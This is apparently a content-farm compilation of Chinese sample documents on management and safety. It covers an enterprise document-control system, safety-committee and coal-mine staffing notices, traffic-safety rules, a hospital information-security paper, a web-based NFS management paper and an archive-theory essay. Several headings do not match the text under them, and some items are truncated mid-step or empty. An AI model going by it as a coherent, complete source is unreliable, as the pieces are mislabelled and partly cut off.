企业信息化不仅能提高企业经营管理信息的准确性和及时性，促使企业业务办事程序和管理程序更加合理、迅速，而且能进一步促进企业资源的合理组合及利用，使其在现有资源条件下达到最佳利用效果，从而大大提高企业的生产经营效率和管理效率。

2 一体化管理体系文件标准化信息系统（MSOA）项目背景及概述

一体化管理体系文件标准化信息系统（MSOA）的管理对象是文件和记录。文件是企业活动的依据，行为的准绳，是管理的基础。任何一个体系都是基于一系列可作为依据的文件和资料（如文件、表格、图纸等）来实现的，所以文件资料管理的好坏，对体系的有效运行尤为重要。采用人工方式进行文件的编制、评审、批准、发放、使用、更改、再次批准、回收和作废等管理工作，存在管理效率低、易出差错、文件更改、评审工作量大，造成不愿进行文件变更、评审工作，使得文件的有效性得不到保证。记录管理一直是体系管理中的重点，如何对记录的产生过程进行控制，提高管理效率，对记录进行有效的统计分析，是记录管理中的难点。

一体化管理体系文件标准化信息系统（MSOA）的目标是利用管理体系的方法和理念，对企业管理过程中的文件、记录进行管理，提高管理效率，降低企业的管理成本，解决企业管理中常常出现的该要的文件没有、该存的记录没存、有效文件和作废文件并存、文件的时效性和有效性得不到保障，做事找不到依据等许多不良现象。最终实现企业文件、记录的有效控制、确保数据的一致性，减少差错，提升企业整体管理水平。

3 一体化管理体系文件标准化信息系统（MSOA）的功能架构

3.1 一体化管理体系文件标准化信息系统（MSOA）管理系统功能

3.1.1 一体化管理体系文件标准化信息系统（MSOA）是对企业内部管理性文件、技术性文件、程序文件、管理手册、记录格式等各类受控文件的起草、审批、发放、传阅、评审、变更、作废、查阅等的管理，它严格按照管理体系对文件管理规范要求开发，能提高90%的文件管理效率。

3.1.2 自动生成文件管理规定的各类文件清单，较人工管理更为准确、快捷。

3.1.3 对文件的审批、发放、变更、作废、评审等文件管理过程均有记录。

3.1.4 支持文件的变更管理与版本控制，可方便地查阅历史版本。

3.1.5 时效性文件的自动作废和文件评审的提醒。

3.1.6 外来文件的识别登记、合规性评价、符合性评审功能全面实现体系对外来文件的管理要求。

3.1.7 管理记录归档功能将游离在各个专业系统之外的所有电子版文档进行分类管理、版本控制，为企业文件的全面受控提供了实用的工具。

3.2 一体化管理体系文件标准化信息系统（MSOA）系统架构

3.2.1 MSOA采用B/S结构开发，基于浏览器运行，客户端免安装，目前支持IE7以上版本的浏览器，以及firefox、google chrome、safari等浏览器。

3.2.2 MSOA可运行于winxp、win7、win8 PC操作系统，也支持在iOS、andriod、win8系统的平板电脑上运行。其中体系文件管理、表单管理移动版还可在iOS、android系统的手机上运行。

3.2.3 MSOA采用自主研发的三层架构开发，具备数据校验功能，能很好的防止地址栏和SQL注入攻击。

3.2.4 采用大型关系数据库oracle作为数据服务器，科学的数据结构设计，优化的数据操作命令使得系统在大量并发操作的情况下，都能流畅地运行。

4 一体化管理体系文件标准化信息系统（MSOA）的应用

4.1 一体化管理体系文件标准化信息系统（MSOA）应用的意义

4.1.1 企业建立管理体系后，文件管理流程大致经过文件的送审核、会审、批准、印刷、盖受控章、分发号等标识、填写发文登记、收文登记、受控文件清单或记录清单、转发、传阅等过程，表格填写工作量大，管理手续多，差错率高。

4.1.2 文件管理环节多、传递速度慢，文件往往制定好后要等待数周才能完全传阅至使用者手中执行，时效性差。

4.1.3 文件的修改、作废麻烦，造成文件主管部门不愿修改和作废文件，文件的适宜性得不到保证。

4.1.4 文件管理花费大量的人力、物力，成本高。

4.2 一体化管理体系文件标准化信息系统（MSOA）的深化应用

文件是整个企业活动的依据，企业行为的准绳，是企业管理的基础。MSOA以文件管理为基础，通过文件条款化，将各项制度直接应用于日常的检查、考核中，开发了制度符合性检查、经济责任制考核管理系统，实现了企业管理制度的落地。

5 一体化管理体系文件标准化信息系统（MSOA）的系统实施过程

5.1 项目启动：约一个月。

5.2 需求调研方案设计：包括需求调研、详细设计、二次开发，时间约为一个月。

5.3 系统实施：包括现场安装、培训、试用、功能改进，时间约为两个月。

5.4 投用、功能完善：系统投用，功能进一步完善，时间根据具体工作情况而定。

9.安全生产管理机构文件篇九

安全生产管理机构文件

公司各部门：

为确保安全生产工作顺利开展，针对企业机构改革后领导班子及职能部门机构和人员调整情况，经研究，决定成立企业安全生产委员会，现将有关事项通知如下：

一、安全生产委员

1、主任：赖健（总经理）

2、副主任：钱汝榴、穆敬军（副总经理）

3、委员：熊东屏、李怀勇、张良、杨晓明、杨代权

二、主要职责

1、贯彻“安全第一，预防为主，综合治理”的方针，落实《安全生产法》

和国家、省、市和上级其它有关安全生产的法律、法规、制度，研究安全生产重要问题，及时向上级主管单位及市安委会汇报安全工作。

2、对公司安全工作实施综合管理，负责协调、指导、监督安全生产工作。

3、审核批准公司安全生产方针、目标、管理方案、规章制度、安全技术措施、安全生产计划等并督促实施。

4、安委会负责对全公司安全生产责任制落实情况进行监督。督促实施层层安全责任承包。

5、推广安全生产科研成果、先进技术及现代安全管理法，建立、健全安全生产责任制，改善安全生产条件，保障公司安全生产达到国家标准和行业标准。

6、组织开展全公司性安全生产宣传、教育、检查活动。

7、组织召开安委会会议、安全例会，及时研究分析全公司的安全生产形势，全面掌握安全生产情况。

8、处理各类事故，组织对同事因公受伤事故的调查处理，负责督促事故的调查、分析和统计和上报工作，制定防范措施，决定处罚事项。

9、对安全生产管理有较大贡献的部门及个人，做出表彰奖励的决定，同时对在安全管理工作中失职及违章的作业人员作出处罚的决定。

10、督促相关部门做好职业安全健康管理和劳动保护的有关事项。安全生产委员会下设安全生产委员会办公室，负责日常工作开展。安全生产委员会办公室设在行政部安全生产办公室。

德宏州姐告南石化有限责任公司

10.车辆安全管理红头文件篇十

关于制定XX高速XX合同段交通安全管理规定的通知

XX高速XX合同段各施工队：

由于我标段位于丘陵地区，山高路陡，路况较差，因此交通安全在本标段尤为重要，经项目部研究决定对本合同段的所有施工队伍实行交通安全管理规定，为此我项目部制定了《交通安全管理规定》，请认真阅读并执行。

特此通告！

XX有限公司XX段高速公路XX合同段项目经理部

2011年3月17日

附件：《交通安全管理规定》

主题词：

车辆安全管理

规定

抄

送：路基队、隧道一队、隧道二队、隧道三队、桥梁施工队

项目部存档

XX公司XX高速公路XX合同段项目经理部 2011年03月17日印

《交通安全管理规定》

1.为保证交通安全和车辆状况的良好，实行“定人定车”制，“定人定车”为两人（含）以上定同一机动车辆时，应由施工队负责人指定一名车长，实行车长负责制。

2.实行准驾证制度，严禁无证驾驶。

3.不得疲劳、酒后驾车。饮酒会导致人运动机能低下，反应迟钝、行动迟缓，判断失准，疲劳使驾驶人的注意力不稳定、视野狭窄、视线模糊和反应迟钝。

4.司机应严格遵守各项国家交通安全规章制度。

5.车辆使用人员应爱护车辆，并负责车辆的日常维护保养，并定期进行车辆安全性检查并到专业修理厂进行保养。

6.各施工队负责人应经常对麾下的车辆使用人员进行交通安全教育。

7.晚上七点到早上七点之间，如无特殊警急情况，所有车辆不得往返于XX镇与XX村之间。

8．保持安全车速。在道路上行驶，车速不要超过限速标志、标线标明的速度，要时刻保持安全车速，不得超速。

9.保持安全距离。驾驶人要时刻保持车辆纵向与横向的安全距离，谨慎驾驶，避免交通伤害。

10.谨慎通过路口。路口是交通情况复杂的地方。驾驶人在接近路口时要减速慢行，观察前方的交通情况，确认安全后谨慎通过路口。11.谨慎通过弯道、坡道。车辆驶近急弯、坡顶等安全视距不足的路段，应当在本方车道内行驶，提前减速，勿超车，必要时鸣喇叭示意。12.不得超员、超载。车辆超员、超载，容易引发爆胎、突然偏驶、制动失灵、转向失控等，导致交通事故的发生。

13系好安全带。使用安全带可减轻事故发生时驾驶人与车辆顶棚、前窗玻璃、转向盘等发生猛烈撞击的程度，增大生存的几率。因此，驾乘机动车时要系好安全带。

14.注意避让行人。机动车驾驶人在行经斑马线时要减速行驶。遇斑马线上行走的行人时，要停车让行。

15.驾车勿拨打或接听手机。驾驶车辆时，驾驶人接打电话会分散驾驶人的注意力，易出现反应迟钝、措施不当等情况。因此，驾驶人不得在行车中拨打或接听手机。

16.冷静处理意外。若途中车辆发生故障或意外需停车时，要立即开启危险报警闪光灯，将车辆移至不妨碍交通的地方停放；难以移动的，应当持续开启危险报警闪光灯，并在来车方向设置警告标志。车上人员应迅速转移到安全地带，防止发生二次事故，并立即报警。

17.行人横过道路要确认安全。行人参与道路交通应在人行道内行走，没有人行道的要靠路边行走。通过路口或横过道路应当走斑马线或者过街设施，通过时要“左、右、左看，向前行”，确认安全。

11.医院信息系统管理与安全篇十一

关键词:医院信息;管理系统;风险防范

中图分类号:C931.6 文献标识码:A文章编号:1007-9599 (2010) 04-0000-01

Hospital Information System Management&Security

(Chongqing Steel General Hospital,Information Department,Chongqing400080,China)

Abstract:With the modernization of the medical records and the planning implementation of informationalized strategy,the management of medical records has been extended to the stage of supervising resources electronic and digital,also the informationalized features is more evident.The corresponding preventive measures taken to standardize the medical records management processes,improve its management system and the law,will be a long-term and arduous task for the quality manager.

Keywords:Medical records;Informationalized;Risk prevention

随着医院医院现代化建设和信息化战略的规划实施,现代信息技术和互联网技术已渗透到医院医院管理活动的全过程,医院管理已由手工保管、重复翻阅纸质文件过渡到医院资源电子化、数字化的信息化管理阶段。

一、医院信息的管理特征

(一)信息技术是医院信息存储的保障

随着临床信息系统的发展,HIS、LIS、PACS等系统逐渐走向成熟,越来越丰富的临床信息以电子化、数字化以及多媒体的形式直接服务于临床医疗活动,这些一方面极大地提高了医疗服务的效率和质量,另一方面使得医院对医院信息数据集成的需要越来越强烈。过去鉴于医院采集技术及存储成本等原因,医院信息收集的范围和层次有限,随着计算机及其相关技术的发展和普及应用,医院电子化、数字化变得容易、可行,超大容量存储设备和数字化转换设备,可将一所医院全部档案信息压缩存放到单张或数张光盘上,借助多媒体技术还可将医院中涉及的实物以真实的多媒体信息存储起来,有等同实物的使用效果。

(二)互联网技术是医院信息传播的平台

档案法不仅提出了大力开发档案信息资源的要求,而且赋予了公众利用信息资源的权利。随着公民利用档案意识和维权意识的增强,对医院的利用需求必然增大,迫切要求打破其管理长期处于封闭的状态。患者不再仅仅要求诊断、处方、配药,而且要求医疗服务全方位开放,提供咨询服务。因此,医院利用的社会化,可以增强医疗机构之间的信息整合,提高卫生监管,全面提高区域医疗卫生的服务水平。为了客观评价医疗机构信息化建设水平,美国HIMSS Analytics提出了一套评价医疗机构实施医院管理水平的模型,这个模型被称为EMR Adoption Model,它可以评价从单一的科室系统到完整的无纸化EMR环境各个信息化建设阶段。该模型中评价等级被分割为8个阶段,其第八阶段为临床信息,可以和其他区域健康网络上的主体通过电子事务共享或者实现电子记录交换。因此,医院利用的社会化将是医院信息化管理的最高目标,要实现必须要以互联网技术做平台。

二、医院信息系统安全与防范

(一)医院信息系统的安全分析

病案是患者享受医疗服务的真实记录,它既是医疗、教学、科研的基础资料和确定医疗报销范围的基本凭证,也是司法部门判决及解决医疗纠纷的重要依据。由于它客观、完整、准确地记录了患者的病情变化、诊疗过程及护理经过,其中有些内容可能涉及患者的隐私,维护患者的隐私权不仅是医疗工作者的义务也是电子医院全面推广的重要保障。所以必须预防非法的信息存取、防止信息在网络传输过程中被截获或窃取。数据加密技术被誉为信息安全的核心,其原理是利用加密算法,将明文转换成为无意义的密文,防止非法用户查看原始数据,从而确保数据的机密性。因此,医院的泄密风险在实际应用中可通过用户认证和信息加密技术加以防范。同时建立医院打印日志,记录每一次医院打印操作。通过打印日志可以对任何一次医院打印操作进行跟踪查询。

(二)医院信息系统的安全防范

病案管理主要依托的是各类功能卓越的医院管理信息系统,而运行异常,数据丢失等又是医院管理信息系统不可避免的运行风险,同时也是计算机系统风险的主要部分。因此,应从计算机安全方面进行风险防范,以保证正常运行。

随着计算机技术和网络技术的发展和医院信息化进程的加快,在医疗卫生系统中,医院的信息化管理将是医院质量管理的重要内容之一,如何规范医院的信息化管理,完善其管理制度和法律规定,解决医院信息化后可能出现的新问题,防止因法律制度跟不上造成管理不到位或法律缺失的风险等,将是质量管理者的一项长期而艰巨的任务。

参考文献:

[1]杨栋,苏小刚.电子病历归档系统研究[J].医疗卫生装备,2009,30(1):44-46

[2]余本功,李娜江,澎基,等.基于第三方的电子病历信息整合平台研究[J].计算机系统应用,2008,5:2-6

[3]武育秦,赵彬主编.医院信息与管理[M].武汉:武汉理工大学出版社.2009

12.信息安全文件管理制度篇十二

网络附加存储的主要功能是向异构系统的客户端提供文件共享服务。NAS基于通用Internet文件系统和网络文件系统等协议实现文件共享。很多软件可以实现NFS协议，为了深入研究其软件以提高文件读写性能等问题，本文采用开源的nfs-utils，通过修改它的配置文件操纵NFS服务，这就需要研究NAS管理员如何高效、方便和安全修改nfs-utils的配置文件实现文件共享管理。

nfs-utils本身提供一个工具exportfs负责对文件共享管理，但是必须在终端下以命令行方式去管理文件共享，例如允许主机(IP:10.0.0.25)对NAS中的/home目录有读写权限，必须通过在/etc/exports中添加一个条目,然后通过执行exportfs命令,使得刚才所增加的条目立即生效。

针对上述问题，本文提出基于B/S架构的nfs-utils文件共享管理系统，系统利用PHP扩展模块，将nfs-utils的配置选项加以封装，并且对传输的数据进行加密，管理员通过Web浏览器可以高效、方便和安全的对基于NFS文件共享进行管理;通过Web页面远程管理文件共享，为防止数据泄露等安全问题，必须使配置文件修改后立即生效，但不能通过重启NAS或者断电使其立即生效，因为这样对正在连接NAS的其他客户造成很大的影响，所以本文提出一种使nfs-utils的配置文件修改后自动生效的解决方法;通过修改nfs-utils源代码，使用一个备份文件解决了管理进程写etab文件(/var/lib/nfs/etab)和nfs-utils守护进程读etab文件的互斥问题;通过采用AES和RSA加密算法实现了对数据的加密传输，保证了管理机和NAS之间数据传输的安全。

1 NFS协议与nfs-utils

NFS是由Sun Microsystem设计并实现的，主要用来通过网络透明地访问远程的文件系统。所谓透明的访问，是指访问这些文件系统与访问本地的文件系统的用户界面是一致的，并不需要额外的命令。NFS采用C/S结构和TCP/IP协议族，允许多个客户端挂载服务器的文件系统。NFS支持在不同硬件平台和操作系统之间实现文件共享，这种特性是通过其建立在远程过程调用和外部数据表示上实现的。当NFS客户端对文件请求时，客户端通过虚拟文件系统判断是本地文件请求还是对NFS服务端的文件请求，如果是本地文件系统请求，则交由本地文件系统处理，否则通过NFS交由服务器文件系统处理。

在Linux中采用开源的nfs-utils实现NFS;由于NFS是基于主机进行授权，所以在NFS服务器端中用户必须通过手工修改配置文件/etc/exports限定TCP/IP网络中主机对NAS共享的目录有读写或者只读权限等。配置文件格式示例如图1所示。

2 文件共享管理系统的设计

2.1 系统框架及Web管理

2.1.1 系统框架

所设计的文件共享管理系统是一个基于Web的管理系统。使用Apache服务器提供Web服务，脚本语言采用PHP。NAS和NFS客户端采用C/S架构，NAS管理机和NAS之间采用B/S架构，系统的总体框架如图2所示。

NAS管理员增加一个对共享有读写权限的NFS客户端，其操作流程如图2所示，当管理员在浏览器中把NFS客户端的主机IP移动到只读主机列表后，后台完成以下交互步骤：

Step 1.浏览器将更改的内容(共享的名称，主机的IP和主机的权限等)提交到NAS;

Step 2.PHP扩展模块将Step1的操作解析成底层C模块的操作，并调用nfs-manage模块接口，自动修改配置文件，并使其修改立即生效：

Step 2.1调用nfs_save_added_export接口在/etc/exports中增加一个export项，使得在重启服务或者重启机器时，读取文件中的数据;

Step 2.2判断etab文件是否被设置了读取锁，如果是，修改etab.bak文件(/var/lib/nfs/etab.bak)，否则修改etab文件;

Step 2.3调用cache_flush接口，把etab文件或者etab.bak文件的最后修改时间设为内核缓冲区刷新时间，刷新内核缓冲区;

Step 3.nfs-manage模块将是否修改成功的信息返回给PHP扩展模块，如果失败，则会将失败的原因(如：IP地址不合法)也返回给PHP扩展模块;

Step 4.Apache服务器将PHP扩展模块返回的结果生成HTML格式的数据，传回管理端浏览器，结果显示到Web页面中。

2.1.2 Web管理的基本流程以及主菜单页面

当NAS机接收到请求时，NAS系统调用相应的用户认证模块，首先认证用户是否有权限管理，身份认证以后再通过Web页面对NAS进行管理。图3是Web管理的基本流程。

在Web页面的设计中，管理页面的主菜单如图4所示

2.2 系统的具体实现

本系统是基于Linux平台进行开发的，由于Linux内核2.6的Web服务性能比内核2.4的Web服务性能好，所以操作系统采用的是Fedaro6，其内核版本是Linux-2.6.18,Web服务端采用的是Apache2.2+PHP5.1;考虑系统是基于Web的应用且提高系统的安全性和高效性，选择C+PHP+Java Script+HTML实现整个管理系统，C主要完成修改配置文件以及使其立即自动生效等功能，PHP负责Web页面和C的接口，JavaScript负责完成必要的客户端的一些操作和验证工作，H T M L书写基本的Web页面和表单等。

从功能角度上，管理系统主要包括共享空间管理、主机管理、用户/组管理、空间配额管理、文件共享管理、系统监控、文件服务配置和注销。

2.3 修改配置文件自动生效的解决方法

NAS管理员通过管理机远程管理文件共享，通过Web修改配置文件时，必须使修改后的配置文件能立即生效，但不宜通过重新启动NAS或者断电使其立即生效，这样会对正在连接的其他客户端造成严重的影响，所以本文提出一种通过远程管理修改/etc/exports后使其自动生效的方法，在修改/etc/exports的同时，相应的修改etab文件或者etab.bak文件(为解决etab文件互斥操作而创建的一个备份文件)，并且把etab文件或者etab.bak文件最后修改时间设为内核缓冲区刷新的时间，刷新内核缓冲区，这样达到了修改/etc/exports后使其立即生效的目的，其算法描述如下：

Step 1.把更新的内容写到/etc/exports中;

Step 2.根据etab文件是否存在读取锁，如果不存在，把更新的内容写入etab文件，否则写入etab.bak文件;

Step 3.把Step 2所修改文件的最后修改时间设为内核缓冲区的刷新时间，刷新内核缓冲区，是通过把etab文件或者etab.bak文件最后修改时间值分别写到/proc/net/rpc/auth.unix.ip/flush、/proc/net/rpc/nfsd.export/flush和/proc/net/rpc/nfsd.fh/flush三个文件中实现。

2.4 etab文件互斥操作的解决方法

/etc/exports只是方便Linux终端用户对NFS客户端进行设置，而nfs-utils守护进程真正读取的是etab文件中的设定项;为了实现远程管理修改/etc/exports使其自动生效，系统中管理进程在修改/etc/exports的同时，必须相应的修改etab文件;管理进程和nfs-utils守护进程分别修改和读取etab文件，二者在时间上可能重叠，但二者的操作是互斥的。

为了避免文件操作的互斥问题，可以让etab文件更新操作滞后一段时间，管理进程先把更新的etab文件写入一个备份文件etab.bak文件中，nfs-utils守护进程在下一次读取etab文件时，把etab.bak文件同步到etab文件中;为实现此解决方法，需要管理软件和nfs-utils共同完成。

在管理软件中，当管理进程试图修改etab文件时，通过判断etab文件是否被nfs-utils守护进程施加读取锁，如果被加锁，管理进程把更新后的文件内容写入etab.bak文件，否则直接写入etab文件，其算法描述如下：

Step 1.判断etab文件是否存在读取锁，如果存在则转Step 3;

Step 2.管理进程把更新的内容写入etab文件：

Step 2.1对etab文件施加写入锁;

Step 2.2把更新的内容写入etab文件;

Step 2.3对etab文件解锁，返回;

Step 3.管理进程把更新的内容写入etab.bak文件：

Step 3.1对etab.bak文件施加写入锁;

Step 3.2把更新的内容写入etab.bak文件;

Step 3.3对etab.bak文件解锁，返回。

在nfs-utils中，必须修改源代码中xtab_export_read等接口，通过判断etab文件和etab.bak文件的最后修改时间值大小，决定nfs-utils守护进程是直接读取etab文件还是把etab.bak文件中的内容同步到etab文件以后再读取etab文件，其算法描述如下：

Step 1.获取etab文件最后修改时间t1，如果不能获取t1，说明etab文件不存在，返回，否则继续执行;

Step 2.获取etab.bak文件最后修改时间t2，如果不能获取t2，说明etab.bak文件不存在，nfs-utils守护进程直接读取etab文件，返回，否则继续执行;

Step 3.如果t1>=t2，则nfs-utils守护进程对etab文件建立读取锁，如果成功，则读取etab文件，释放读取锁，返回，否则继续执行;

Step 4.如果t1

Step 4.1 nfs-utils守护进程对etab.bak文件建立读取锁，如果失败，则说明管理进程在修改它，此时etab文件必然可读，读取etab文件，返回，否则继续执行;

Step 4.2 nfs-utils守护进程对etab文件建立写入锁，如果失败，则说明管理进程正在执行修改etab文件操作，读取etab.bak文件，释放etab.bak文件的读取锁，返回;

Step 4.3把etab.bak文件的内容写到etab文件中，释放文件锁;

Step 4.4 nfs-utils守护进程读取etab文件。

通过管理软件和修改后nfs-utils源代码共同作用，虽然没有解决nfs-utils守护进程读etab.bak文件和管理进程写etab.bak文件之间的冲突，但保证了nfs-utils守护进程读取的etab.bak文件是最新的，解决了nfs-utils守护进程读etab文件和管理进程写etab文件的冲突，提高了管理的效率。

2.5 管理机与NAS之间数据的加密传输

采用对称加密和非对称加密算法相结合的方式实现管理机和NAS之间数据的加密传输。对数据的加密使用对称加密算法AES，在管理机用密钥生成函数产生一个随机的对称加密密钥Ks。非对称加密算法选用RSA，密钥长度为1024位。

管理机使用AES对需要加密的管理数据(主机的IP地址或者共享目录的名称等)进行加密，然后使用NAS的RSA公钥PKNAS加密KS，加密后形成一个MIME消息发送出去;解密是在NAS的接收管道完成的，加密后的MIME消息进入到接收端口，然后进入接收状态，接收端使用NAS的RSA私钥SKNAS解密加密后的KS，然后用KS解密被加密的管理数据本身;接着，NAS对管理数据进行处理，并对处理的结果使用KS对数据进行加密并传到管理机;最后管理机对加密的数据处理结果使用KS进行解密，并显示到WEB页面。整个过程如图5所示。

3 结束语

本文主要针对exportfs工具存在必须在终端下以命令行方式管理文件共享的问题，提出基于B/S架构的nfs-utils文件共享管理系统，扩展了远程管理功能，并解决由此引起访问etab文件的互斥、修改后配置立即生效等问题，以及管理机与NAS之间数据的安全传输问题，实现了远程对文件共享高效和安全管理。

摘要：本文通过修改nfs-utils源代码,使用备份文件解决了管理进程和nfs-utils守护进程同时访问etab文件的互斥问题;管理进程在修改etab文件或者备份文件后,通过刷新内核缓冲区通知nfs-utils守护进程,使得修改后的配置文件立即生效;管理系统采用AES和RSA算法实现了数据的加密传输,保证了管理机和NAS之间数据传输的安全。与exportfs相比,本管理系统拓展了远程管理功能,并解决了由此引起访问etab文件的互斥、修改后配置立即生效等问题,实现了远程对文件共享高效和安全的管理。

关键词：NAS,NFS,配置文件,Web

参考文献

13.煤矿安全管理人员的任职文件篇十三

威龙矿发 [ 2011]08 号

威远县越溪镇龙洞煤矿

关于安全生产管理人员配备及任职的通知

矿级各单位：

为认真贯彻党和国家的安全生产方针，搞好煤矿安全生产，结合本矿实际，建立煤矿安全生产管理长效机制，完善煤矿安全生产管理机构和配备安全生产管理人员，进一步明确安全生产管理职责。

一、安全生产管理人员

业主:刘德文

矿长：刘建灯

技术负责人：陈能金

安全生产副矿长：王天彬、吴昌忠

后勤科长：潘顺文

成员

采煤队长：向坤德

机运科长：刘守明

掘进队长：胡章云

通风队长：杨建华

工会主席：潘顺文

二、安全生产管理人员职责分工

刘德文：业主，负责企业的全面工作

刘建灯: 矿长，负责企业的日常管理工作

陈能金：技术负责人，负责全矿技术工作

王天彬、吴昌忠：安全生产副矿长，负责安全、生产工作潘顺文：后勤矿长，负责地面后勤工作

梁强：生产科长，负责生产、采掘计划工作

陈能金：技术科长，负责全矿技术、安全工作

向坤德：安全通风科长，负责安全通风、监督工作

刘守明：机运科长，负责机电设备安装、维修和运输管理工作

向坤德：采煤队队长，负责采煤队的安全、生产管理工作胡章云：掘进队长，负责掘进队的安全、生产管理工作

三、安全生产领导小组

（一）、为了保护职工生命安全、健康和企业财产不受损失，预防事故的发生，促进生产经营的发展，把安全工作贯穿于整个生产经营的每个环节，特成立矿安全生产领导小组。

（二）、安全领导小组由下列人员组成：组长由矿长兼任，副组长由主管生产和安全的副矿长兼任，成员由技术负责人、安全管理人员及各部门主要负责人及职工代表担任。

（三）、安全生产领导小组职责

1、根据《中华人民共和国安全生产法》、《中华人民共和国矿山安全法》、《中华人民共和国劳动法》、《煤矿安全规程》等法律、行政法规和规章，指定和修订全矿各岗位安全责任制、安全管理制度、生产安全事故预防和应急救援预案、主要工种技术操作规程等规章制度。

2、制订年度安全工作目标，并层层分解落实到每个班组，实行奖惩逗硬机制。

3、负责组织定期或不定期开展全矿安全大检查和安全日活动，做到有布置、有记录、有整改、有措施、有落实、有总结。

4、负责开展安全技术培训和教育工作。

5、依照有关规定做好事故的调查、结案处理、统计分析及如实上报工作。

6、制定和推行劳动保护、环境保护及公共卫生制度。

7、负责按国家相关规定计提安全专项资金，并实行专款专用。

8、负责建立健全安全工作专项档案。

9、其他有关安全生产工作重大事项的研究和决策。

威远县越溪镇龙洞煤矿

14.信息安全文件管理制度篇十四

信管中心【2014】1号

关于进一步加强企业移动互联网品牌及商标保护

15.文件信息与档案信息的研究篇十五

1.1物质层次

文件信息的物质层次在文件信息的有机结构中处于第一层次, 它是文件信息的物质外壳, 由载体和信息显现材料组成。载体是指各种载录信息的物质材料。信息显现材料是指附着在载体之上以显示信息内容的物质材料。文件的物质层次是文件的基础构成, 它是使文件的表现层次和价值层次得以存在的物质前提, 但对文件性质以及文件自身的功能不具有决定性影响。

1.2表现层次

文件信息的表现层次在文件信息的有机结构中处于第二层次, 它是指文件信息内容的表现方式。早期, 文件信息主要以图形、文字、符号为其内容的表现形式, 随着历史的进步, 表现方式也愈来愈丰富, 出现了声音、影象等形式。

1.3价值层次

文件信息的价值层次在文件信息的有机结构中处于第三层次, 它是指凝聚在文件上的使文件得以产生独特效用的价值因素。这种价值因素就是载录在文件信息载体上的信息内容。

2文件信息向档案信息转化前后的价值分析

2.1文件信息的现行价值

文件信息是人们为参与一定社会活动而制作的信息交流工具。文件信息在社会活动中的运动程序是:制作者将自己对某一社会活动的意志借助于一定的工具物化载录到文件载体上即信息凝结过程, 文件接受者运用文件进行某种活动即信息运用过程。文件信息在这整个程序中经历的全部时空范围, 称为文件现实运行领域。文件信息在现实运行领域中呈现的价值形态, 称为文件信息的现行价值。文件信息的现行价值具有二重性, 即文件信息对于制作者来说具有工具功能, 对于受文者来说具有依据功能。

首先工具功能, 工具功能是指文件制作者借以控制人流、物流, 达到参与某项社会活动的目的。制作文件本身不是制作者的最终目的, 而是为了达到最终目的而采取的一种手段, 是自身自然表意能力的延长。因此, 文件信息是被制作者当作工具来使用的。制作者希望文件经过传递渠道, 可以在人的自然表意能力难以达到的空间和时间里, 明确而又系统地传递某一社会活动的意志, 从而对社会活动产生作用。

其次依据功能, 依据功能指文件是其接受者处理工作活动的依据或参考。由于文件信息体现了制作者的意图, 并表现出制发者与接受者双方在活动中的相互关系和地位, 因而使文件接受者执行管理意志或进行活动时, 可以反复研究、对比、核实, 使动作更加精神并消除“口说无凭”之虑, 克服由于“事无凭证”而带来的多种障碍。

2.2文件信息的潜在价值

首先, 文件信息具有社会性, 并且这种社会性为信息交流的产生提供了基础。人们利用文件信息参与社会活动, 因而文件所载录的信息不是来自自然界的各类自然资源, 而是来自社会领域的智能信息, 具有社会性。同时, 由于每一项社会活动在其进行的过程中必然要同其它社会活动发生各种关系, 因此, 通过分析凝固在已失去现行效用的文件上的信息, 可以了解已结束的社会活动所涉及的各种社会关系, 从而更有效地开展现实社会活动, 以达到信息交流的目的。

其次, 文件信息具有本源性, 并且这种本源性使得信息交流在全社会信息交流中获得独特的地位。文件载录的信息直接根源于一定的社会活动, 它们自然地积淀在文件载体之上, 事后未经修改加工, 具有本源性。也正是借助于文件信息的本源性特点, 使得人们可以进行广泛的信息交流, 并直观地了了解已结束的社会活动的历史面貌。

最后, 文件信息具有稳定性, 并且这种稳定性也保证了信息交流的正常进行。产生于一定社会活动的智能信息被固定在物质载体上, 因而它们不是转瞬即逝的信息, 而是固态信息, 在一定时间范围内具有相对稳定性。信息被固着在载体之后, 不仅是自己得到了相对稳定, 而且使信息交流可以超越时空限制来进行。

3文件信息向档案信息转化的过程

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